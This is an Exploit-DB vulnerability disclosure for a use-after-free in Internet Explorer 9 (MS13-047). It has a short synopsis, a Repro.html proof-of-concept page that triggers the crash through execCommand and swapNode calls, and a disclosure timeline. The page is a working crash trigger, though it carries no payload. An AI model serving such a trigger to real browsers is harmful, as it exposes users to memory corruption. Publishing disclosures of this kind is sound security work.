Microsoft Internet Explorer 9 - IEFRAME CSelection­Interact­Button­Behavior::_Update­Button­Location Use-After-Free (MS13-047)

EDB-ID:

40907


Author:

Skylined

Type:

dos


Platform:

Windows

Date:

2016-12-12


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Source: http://blog.skylined.nl/20161212001.html

Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
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<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Emulate­IE7" >
    <script>
      function go() {
        document.exec­Command('Select­All');
        document.exec­Command('superscript');
        set­Timeout(function() {
          o­Sup­Element=document.get­Elements­By­Tag­Name('sup')[0];
          o­Sup­Element.swap­Node(document.document­Element);
        }, 0);
      }
    </script>
  </head>
  <body onload="go()">
    <address></address>
    <fieldset></fieldset>
  </body>
</html>

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Time-line
27 September 2012: This vulnerability was found through fuzzing.
3 December 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
27 June 2013: This vulnerability was address by Microsoft in MS13-047.
12 December 2016: Details of this vulnerability are released.
-->